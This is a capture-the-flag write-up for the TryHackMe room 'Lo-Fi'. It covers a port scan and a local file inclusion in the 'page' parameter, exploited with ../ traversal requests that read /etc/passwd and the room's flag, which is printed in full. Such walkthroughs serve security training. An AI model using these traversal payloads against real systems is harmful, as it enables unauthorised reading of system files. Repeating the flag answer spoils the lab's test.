Lo-Fi
Table of Contents
Related: File Inclusion Path Traversal
Description
TryHackMe room: https://tryhackme.com/room/lofi/
CTF
Enumeration
Port scan
rustscan -a 10.129.157.169 -u 5000 --accessible -- -A
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-title: Lo-Fi Music | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS
SSH is open but not part of the intended path — the room is scoped to LFI/path traversal only, so port 22 was noted during recon and not pursued further.
Foothold
Local File Inclusion — page parameter
http://10.129.157.169/ is vulnerable to LFI via the page
parameter, no filtering/sanitisation observed.
http://10.129.157.169/?page=../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh ...
Confirms both the traversal depth needed and that the web process
runs as www-data.
Flag retrieved via path traversal
http://10.129.157.169/?page=../../../flag.txt
Flag: flag{e4478e0eab69bd642b8238765dcb7d18}
This is the intended solve path for the room — direct file disclosure via LFI, no RCE or shell required. Single-flag room.
Flags
| Flag | Value | Status |
|---|---|---|
| Flag | flag{e4478e0eab69bd642b8238765dcb7d18} | DONE |
Findings Summary
| Finding | Classification | Severity |
|---|---|---|
page parameter allows arbitrary file read via ../ traversal |
Path Traversal / Local File Inclusion | High |
Notes
Room complete. Single-vulnerability room: LFI via the page
parameter with no filtering, exploited via direct path traversal to
read /etc/passwd (confirmation) and flag.txt (solve). No
privilege escalation or shell foothold is part of this room's scope
— SSH was observed open during recon but is not part of the
intended chain.